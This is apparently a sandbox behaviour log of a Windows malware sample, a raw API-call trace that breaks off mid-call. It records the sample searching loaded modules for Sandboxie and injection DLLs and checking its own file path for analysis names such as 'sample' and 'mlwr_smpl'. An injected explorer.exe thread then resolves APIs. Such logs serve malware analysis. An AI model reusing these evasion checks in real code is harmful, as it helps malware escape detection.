returned 0x2677188 [0283.352] StrStrIA (lpFirst="msimg32.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.352] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.352] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677188 | out: hHeap=0x2670000) returned 1 [0283.352] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.352] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677098 [0283.352] StrStrIA (lpFirst="WINMMBASE.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.352] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.353] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677098 | out: hHeap=0x2670000) returned 1 [0283.353] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677170 [0283.353] StrStrIA (lpFirst="WINMMBASE.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.353] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.353] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677170 | out: hHeap=0x2670000) returned 1 [0283.353] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.354] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677068 [0283.354] StrStrIA (lpFirst="cfgmgr32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.354] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.354] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677068 | out: hHeap=0x2670000) returned 1 [0283.354] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26771a0 [0283.354] StrStrIA (lpFirst="cfgmgr32.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.354] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.354] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26771a0 | out: hHeap=0x2670000) returned 1 [0283.354] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.355] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677110 [0283.355] StrStrIA (lpFirst="IMM32.DLL", lpSrch="ivm-inject.dll") returned 0x0 [0283.355] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.355] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677110 | out: hHeap=0x2670000) returned 1 [0283.355] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677320 [0283.355] StrStrIA (lpFirst="IMM32.DLL", lpSrch="SbieDll.dll") returned 0x0 [0283.355] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.355] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677320 | out: hHeap=0x2670000) returned 1 [0283.355] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.356] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26771a0 [0283.356] StrStrIA (lpFirst="USERENV.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.356] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.356] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26771a0 | out: hHeap=0x2670000) returned 1 [0283.356] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26771d0 [0283.356] StrStrIA (lpFirst="USERENV.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.356] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.356] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26771d0 | out: hHeap=0x2670000) returned 1 [0283.356] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.357] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677230 [0283.357] StrStrIA (lpFirst="profapi.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.357] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.357] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677230 | out: hHeap=0x2670000) returned 1 [0283.357] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677188 [0283.357] StrStrIA (lpFirst="profapi.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.357] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.357] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677188 | out: hHeap=0x2670000) returned 1 [0283.357] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.357] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677290 [0283.358] StrStrIA (lpFirst="SHELL32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.358] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.358] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677290 | out: hHeap=0x2670000) returned 1 [0283.358] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26770b0 [0283.358] StrStrIA (lpFirst="SHELL32.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.358] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.358] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26770b0 | out: hHeap=0x2670000) returned 1 [0283.358] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.358] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26771d0 [0283.358] StrStrIA (lpFirst="shcore.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.358] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.358] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26771d0 | out: hHeap=0x2670000) returned 1 [0283.359] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677260 [0283.359] StrStrIA (lpFirst="shcore.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.359] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.359] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677260 | out: hHeap=0x2670000) returned 1 [0283.359] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.360] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26772f0 [0283.360] StrStrIA (lpFirst="windows.storage.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.360] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.360] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772f0 | out: hHeap=0x2670000) returned 1 [0283.360] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677218 [0283.360] StrStrIA (lpFirst="windows.storage.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.360] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.360] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677218 | out: hHeap=0x2670000) returned 1 [0283.360] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.361] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26770b0 [0283.361] StrStrIA (lpFirst="shlwapi.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.361] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.361] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26770b0 | out: hHeap=0x2670000) returned 1 [0283.361] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677098 [0283.361] StrStrIA (lpFirst="shlwapi.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.361] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.361] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677098 | out: hHeap=0x2670000) returned 1 [0283.361] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.362] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26771b8 [0283.362] StrStrIA (lpFirst="kernel.appcore.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.362] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.362] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26771b8 | out: hHeap=0x2670000) returned 1 [0283.362] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26770b0 [0283.362] StrStrIA (lpFirst="kernel.appcore.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.362] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.362] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26770b0 | out: hHeap=0x2670000) returned 1 [0283.362] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.363] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26771d0 [0283.363] StrStrIA (lpFirst="powrprof.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.363] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.363] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26771d0 | out: hHeap=0x2670000) returned 1 [0283.363] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677230 [0283.363] StrStrIA (lpFirst="powrprof.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.363] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.363] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677230 | out: hHeap=0x2670000) returned 1 [0283.363] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.364] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26771d0 [0283.364] StrStrIA (lpFirst="setupapi.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.364] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.364] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26771d0 | out: hHeap=0x2670000) returned 1 [0283.364] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677260 [0283.364] StrStrIA (lpFirst="setupapi.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.364] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.364] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677260 | out: hHeap=0x2670000) returned 1 [0283.365] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.365] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677110 [0283.365] StrStrIA (lpFirst="netapi32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.365] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.365] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677110 | out: hHeap=0x2670000) returned 1 [0283.365] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677200 [0283.365] StrStrIA (lpFirst="netapi32.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.365] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.365] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677200 | out: hHeap=0x2670000) returned 1 [0283.365] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.366] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26772d8 [0283.366] StrStrIA (lpFirst="NETUTILS.DLL", lpSrch="ivm-inject.dll") returned 0x0 [0283.366] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.367] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772d8 | out: hHeap=0x2670000) returned 1 [0283.367] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677260 [0283.367] StrStrIA (lpFirst="NETUTILS.DLL", lpSrch="SbieDll.dll") returned 0x0 [0283.367] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.367] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677260 | out: hHeap=0x2670000) returned 1 [0283.367] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.367] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677080 [0283.367] StrStrIA (lpFirst="SAMCLI.DLL", lpSrch="ivm-inject.dll") returned 0x0 [0283.367] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.367] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677080 | out: hHeap=0x2670000) returned 1 [0283.367] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26772f0 [0283.368] StrStrIA (lpFirst="SAMCLI.DLL", lpSrch="SbieDll.dll") returned 0x0 [0283.368] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.368] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772f0 | out: hHeap=0x2670000) returned 1 [0283.368] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.368] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26772c0 [0283.368] StrStrIA (lpFirst="LOGONCLI.DLL", lpSrch="ivm-inject.dll") returned 0x0 [0283.368] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.368] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772c0 | out: hHeap=0x2670000) returned 1 [0283.368] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26772c0 [0283.368] StrStrIA (lpFirst="LOGONCLI.DLL", lpSrch="SbieDll.dll") returned 0x0 [0283.369] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.369] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772c0 | out: hHeap=0x2670000) returned 1 [0283.369] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.369] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677260 [0283.369] StrStrIA (lpFirst="WKSCLI.DLL", lpSrch="ivm-inject.dll") returned 0x0 [0283.369] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.369] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677260 | out: hHeap=0x2670000) returned 1 [0283.369] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26770b0 [0283.369] StrStrIA (lpFirst="WKSCLI.DLL", lpSrch="SbieDll.dll") returned 0x0 [0283.369] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.369] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26770b0 | out: hHeap=0x2670000) returned 1 [0283.369] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.370] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26772c0 [0283.370] StrStrIA (lpFirst="bcrypt.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.370] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.370] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772c0 | out: hHeap=0x2670000) returned 1 [0283.370] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677260 [0283.370] StrStrIA (lpFirst="bcrypt.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.370] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.370] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677260 | out: hHeap=0x2670000) returned 1 [0283.370] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.371] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677218 [0283.371] StrStrIA (lpFirst="uxtheme.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.371] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.371] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677218 | out: hHeap=0x2670000) returned 1 [0283.371] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677278 [0283.371] StrStrIA (lpFirst="uxtheme.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.371] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.371] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677278 | out: hHeap=0x2670000) returned 1 [0283.371] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.372] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26770f8 [0283.372] StrStrIA (lpFirst="DEVOBJ.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.372] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.372] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26770f8 | out: hHeap=0x2670000) returned 1 [0283.372] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677260 [0283.372] StrStrIA (lpFirst="DEVOBJ.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.372] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.372] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677260 | out: hHeap=0x2670000) returned 1 [0283.372] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.373] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26772f0 [0283.373] StrStrIA (lpFirst="WINTRUST.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.373] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.373] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772f0 | out: hHeap=0x2670000) returned 1 [0283.373] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677128 [0283.373] StrStrIA (lpFirst="WINTRUST.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.373] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.373] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677128 | out: hHeap=0x2670000) returned 1 [0283.373] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.374] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677290 [0283.374] StrStrIA (lpFirst="MSASN1.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.374] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677290 | out: hHeap=0x2670000) returned 1 [0283.374] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x2677320 [0283.374] StrStrIA (lpFirst="MSASN1.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.374] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.374] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677320 | out: hHeap=0x2670000) returned 1 [0283.374] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0283.376] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x2677128 [0283.376] StrStrIA (lpFirst="CRYPT32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0283.376] lstrlenA (lpString="ivm-inject.dll") returned 14 [0283.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677128 | out: hHeap=0x2670000) returned 1 [0283.376] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26770e0 [0283.376] StrStrIA (lpFirst="CRYPT32.dll", lpSrch="SbieDll.dll") returned 0x0 [0283.376] lstrlenA (lpString="SbieDll.dll") returned 11 [0283.376] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26770e0 | out: hHeap=0x2670000) returned 1 [0283.376] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 0 [0283.376] CloseHandle (hObject=0x28c) returned 1 [0283.377] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0283.377] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19fe1c, nSize=0x103 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.exe")) returned 0x40 [0283.377] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef7f8 [0283.377] StrStrIA (lpFirst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe", lpSrch="sample") returned 0x0 [0283.377] lstrlenA (lpString="sample") returned 6 [0283.377] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7f8 | out: hHeap=0x2670000) returned 1 [0283.377] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x2677290 [0283.377] StrStrIA (lpFirst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe", lpSrch="mlwr_smpl") returned 0x0 [0283.377] lstrlenA (lpString="mlwr_smpl") returned 9 [0283.377] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2677290 | out: hHeap=0x2670000) returned 1 [0283.377] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26772d8 [0283.377] StrStrIA (lpFirst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe", lpSrch="artifact.exe") returned 0x0 [0283.377] lstrlenA (lpString="artifact.exe") returned 12 [0283.378] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772d8 | out: hHeap=0x2670000) returned 1 [0283.378] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26772d8 [0283.378] lstrlenA (lpString="GenuineIntel") returned 12 [0283.378] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26772d8 | out: hHeap=0x2670000) returned 1 [0283.378] ExitProcess (uExitCode=0x0) Thread: id = 371 os_tid = 0x1388 Process: id = "27" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0x6ff67000" os_pid = "0xd30" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x1348" cmd_line = "C:\\WINDOWS\\SysWOW64\\explorer.exe" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 374 os_tid = 0xfd8 [0290.582] GetModuleHandleA (lpModuleName="USERENV.dll") returned 0x74080000 [0290.582] GetProcAddress (hModule=0x74080000, lpProcName="GetUserProfileDirectoryW") returned 0x740849b0 [0290.582] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x0 [0290.583] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x772b0000 [0290.589] GetProcAddress (hModule=0x772b0000, lpProcName="CoSetProxyBlanket") returned 0x76a59510 [0290.589] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeSecurity") returned 0x76a89710 [0290.589] GetProcAddress (hModule=0x772b0000, lpProcName="CoUninitialize") returned 0x76a722b0 [0290.589] GetProcAddress (hModule=0x772b0000, lpProcName="CoCreateInstance") returned 0x76a37490 [0290.589] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeEx") returned 0x76a72590 [0290.590] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitialize") returned 0x772e6a60 [0290.590] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x74720000 [0290.590] GetProcAddress (hModule=0x74720000, lpProcName="CommandLineToArgvW") returned 0x7487cc20 [0290.591] GetProcAddress (hModule=0x74720000, lpProcName="SHGetFolderPathW") returned 0x748788f0 [0290.591] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x74560000 [0290.591] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0290.591] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcessId") returned 0x745cea20 [0290.592] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableW") returned 0x74574fb0 [0290.592] GetProcAddress (hModule=0x74560000, lpProcName="WideCharToMultiByte") returned 0x74576b10 [0290.592] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatA") returned 0x745b70c0 [0290.592] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableA") returned 0x74574f90 [0290.592] GetProcAddress (hModule=0x74560000, lpProcName="MultiByteToWideChar") returned 0x74575c40 [0290.593] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenW") returned 0x74576c70 [0290.593] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatW") returned 0x745b71a0 [0290.593] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyA") returned 0x745b7060 [0290.593] GetProcAddress (hModule=0x74560000, lpProcName="HeapAlloc") returned 0x77822dc0 [0290.593] GetProcAddress (hModule=0x74560000, lpProcName="HeapFree") returned 0x745757f0 [0290.593] GetProcAddress (hModule=0x74560000, lpProcName="HeapCreate") returned 0x745757b0 [0290.594] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAlloc") returned 0x74576970 [0290.594] GetProcAddress (hModule=0x74560000, lpProcName="GetFileSize") returned 0x745cef30 [0290.594] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiA") returned 0x74576bd0 [0290.595] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0290.595] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcess") returned 0x745cea10 [0290.595] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleW") returned 0x745750d0 [0290.595] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryW") returned 0x74575ae0 [0290.595] GetProcAddress (hModule=0x74560000, lpProcName="CopyFileW") returned 0x745cf3b0 [0290.596] GetProcAddress (hModule=0x74560000, lpProcName="TerminateProcess") returned 0x745767e0 [0290.596] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileW") returned 0x745ced40 [0290.596] GetProcAddress (hModule=0x74560000, lpProcName="ResumeThread") returned 0x74576380 [0290.596] GetProcAddress (hModule=0x74560000, lpProcName="GetComputerNameW") returned 0x745a32c0 [0290.596] GetProcAddress (hModule=0x74560000, lpProcName="ReleaseMutex") returned 0x745cec20 [0290.597] GetProcAddress (hModule=0x74560000, lpProcName="GetExitCodeProcess") returned 0x74573c60 [0290.597] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableW") returned 0x745764e0 [0290.597] GetProcAddress (hModule=0x74560000, lpProcName="GetTickCount") returned 0x745cdd50 [0290.597] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameW") returned 0x74575090 [0290.598] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemInfo") returned 0x745754d0 [0290.598] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableA") returned 0x745764c0 [0290.598] GetProcAddress (hModule=0x74560000, lpProcName="GetVersionExA") returned 0x745756d0 [0290.598] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0290.599] GetProcAddress (hModule=0x74560000, lpProcName="SetEvent") returned 0x745cec50 [0290.631] GetProcAddress (hModule=0x74560000, lpProcName="OpenEventA") returned 0x745cebd0 [0290.632] GetProcAddress (hModule=0x74560000, lpProcName="CreateMutexA") returned 0x745ceb40 [0290.632] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThread") returned 0x74578810 [0290.632] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0290.632] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTimeAsFileTime") returned 0x74575530 [0290.632] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiW") returned 0x74576bf0 [0290.632] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileW") returned 0x745ae500 [0290.632] GetProcAddress (hModule=0x74560000, lpProcName="SetFileAttributesW") returned 0x745cf100 [0290.633] GetProcAddress (hModule=0x74560000, lpProcName="LocalAlloc") returned 0x74575b20 [0290.633] GetProcAddress (hModule=0x74560000, lpProcName="GetLocalTime") returned 0x74575060 [0290.633] GetProcAddress (hModule=0x74560000, 